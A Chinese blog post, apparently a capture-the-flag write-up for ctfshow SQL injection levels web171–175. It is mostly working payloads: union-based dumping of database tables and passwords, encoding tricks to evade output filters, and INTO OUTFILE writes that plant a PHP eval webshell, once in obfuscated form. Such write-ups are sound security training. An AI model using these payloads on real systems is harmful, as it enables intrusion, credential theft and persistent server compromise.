CTFSHOW web入门 sql注入无过滤注入 web171-175

起名字怎么这么难

已于 2022-07-10 16:01:22 修改

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分类专栏： ctfshow-web入门文章标签： web安全

于 2022-07-07 21:03:44 首次发布

本文链接：https://blog.csdn.net/sinat_41572027/article/details/125638338

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web171

select 查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

尝试万能密码 id=1'or'1'='1 ,进行查询，发现查询结果是数据库中全部内容，成功获得flag

//方法二：输入 9999'or id='26 访问第26行的flag

web172

页面提示：

进行sql注入测试：

1.输入id=1 正常获得查询结果

2.输入 id=1'or'1'='1 正常获得查询结果，非注入点

3.输入 id=1' order by 2 --+(正常查询)/1' order by 3 --+(报错) 获得返回列数为两列

4.输入 id=1' union select 1,2 --+,得知注入点为1和2

5.进行后续爆库、爆表、爆列名等步骤

1' union select database(),version()--+
#ctfshow_web   10.3.18-MariaDB
1' union select 1,(select group_concat(schema_name) from information_schema.schemata) --+
#information_schema,test,mysql,performance_schema,ctfshow_web
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+
#ctfshow_user,ctfshow_user2
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user') --+
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2') --+
#id,username,password
1' union select group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user --+
#flag  flag is not here
1' union select group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user2 --+
#获得 flag  ctfshow{d12bc448-c477-4342-a2f6-fd365e369aef}

//方法二：

9999' union select id,password from ctfshow_user2 where username='flag

web173

查询过程中过滤关键词flag，不能直接查询到flag数据

使用base64加密、HEX加密，读取flag信息

1' union select 1,2,(select to_base64(password) from ctfshow_user3 where username='flag')--+
1' union select 1,2,(select hex(password) from ctfshow_user3 where username='flag')--+

解密字符串得flag

//方法二：

9999' union select b.id,hex(b.username),b.password from ctfshow_user3 as b where b.username='flag

web174

/flag|[0-9]/i 查询过程不能出现flag和数字0-9

(学习大佬们的解法)整理如下：

1.username/password使用base64加密后，使用@A-@J表示0-9，再解密

[get]payload:0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J"),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+

[GET]PAYLOAD:
?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J"),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+

得查询结果：

Y@CRmc@Bhvd@CsxYzk@JM@BQ@JNC@AhNWFiLTQwODktODE@CNC@J@BNzdlNTc@EODRjMTl@I

使用脚本进行解密：

import base64

flag64 = "Y@CRmc@Bhvd@CsxYzk@JM@BQ@JNC@AhNWFiLTQwODktODE@CNC@J@BNzdlNTc@EODRjMTl@I"

flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(base64.b64decode(flag))

运行结果得flag:

ctfshow{1c943d44-a5ab-4089-8174-677e57984c19}

2.password使用16进制(HEX)加密后，使用小写q~p表示0-9数字，再使用脚本解密

[get]payload:1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

[get]Payload:
1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

查询结果：yeuryyueyiyFuuuBeqyeeoereeyrererwDyqetyqywwDerepeieowDeieqeuerwDeyeueuyteteueoeieryeeqeouD

使用mysql解密脚本：

select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace('yeuryyueyiyFuuuBeqyeeoereeyrererwDyqetyqywwDerepeieowDeieqeuerwDeyeueuyteteueoeieryeeqeouD','q','1'),'w','2'),'e','3'),'r','4'),'t','5'),'y','6'),'u','7'),'i','8'),'o','9'),'p','0');

在线运行SQL

在线sql编译结果：

63746673686F777B31633934336434342D613561622D343038392D383137342D3637376535373938346331397D

最后16进制解密：ctfshow{1c943d44-a5ab-4089-8174-677e57984c19}

3.查询语句使用URL加密，在命令行输入加密查询语句后，将flag中替换符改回数字，获得flag

查询语句：9999' union select 'q',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','('),'0',')') from ctfshow_user4 where username='flag

URL加密：%39%39%39%39%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%27%71%27%2c%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%70%61%73%73%77%6f%72%64%2c%27%31%27%2c%27%21%27%29%2c%27%32%27%2c%27%40%27%29%2c%27%33%27%2c%27%23%27%29%2c%27%34%27%2c%27%24%27%29%2c%27%35%27%2c%27%25%27%29%2c%27%36%27%2c%27%5e%27%29%2c%27%37%27%2c%27%26%27%29%2c%27%38%27%2c%27%2a%27%29%2c%27%39%27%2c%27%28%27%29%2c%27%30%27%2c%27%29%27%29%20%66%72%6f%6d%20%63%74%66%73%68%6f%77%5f%75%73%65%72%34%20%77%68%65%72%65%20%75%73%65%72%6e%61%6d%65%3d%27%66%6c%61%67

web175

过滤ASCII0-127的字符

1.将flag查询结果传入1.txt，访问url/1.txt文件得flag

查询语句：1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--

2.将一句话木马传入1.php，使用蚁剑链接后，访问数据库，查询flag

查询语句：99' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php
burp-decoder--->base64加密一句话木马，用url加密表示
payload:99' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php